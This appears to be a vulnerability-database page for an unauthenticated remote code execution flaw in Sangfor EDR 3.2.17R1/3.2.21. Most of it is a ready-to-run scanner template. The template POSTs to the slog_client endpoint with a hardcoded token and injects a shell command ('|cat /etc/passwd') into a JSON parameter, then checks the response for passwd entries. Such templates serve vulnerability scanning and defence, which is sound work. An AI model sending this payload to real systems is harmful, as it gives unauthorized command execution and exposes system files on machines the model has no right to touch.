sangfor-edr-cssp-rce: Sangfor EDR 3.2.17R1/3.2.21 - Remote Code Execution

2025-08-01 Sangfor EDR PoC Public

Description

Sangfor EDR 3.2.17R1/3.2.21 allows remote unauthenticated users to to execute arbitrary commands.

app="sangfor"

PoC

id: sangfor-edr-cssp-rce

info:
    name: Sangfor EDR 3.2.17R1/3.2.21 - Remote Code Execution
    author: pikpikcu
    severity: critical
    verified: false
    description: |
        Sangfor EDR 3.2.17R1/3.2.21 allows remote unauthenticated users to to execute arbitrary commands.
        app="sangfor"
    reference:
        - https://www.cnblogs.com/0day-li/p/13650452.html

rules:
    r0:
        request:
            method: POST
            path: /api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9
            body: |
                {"params":"w=123\"'1234123'\"|cat /etc/passwd"}
        expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities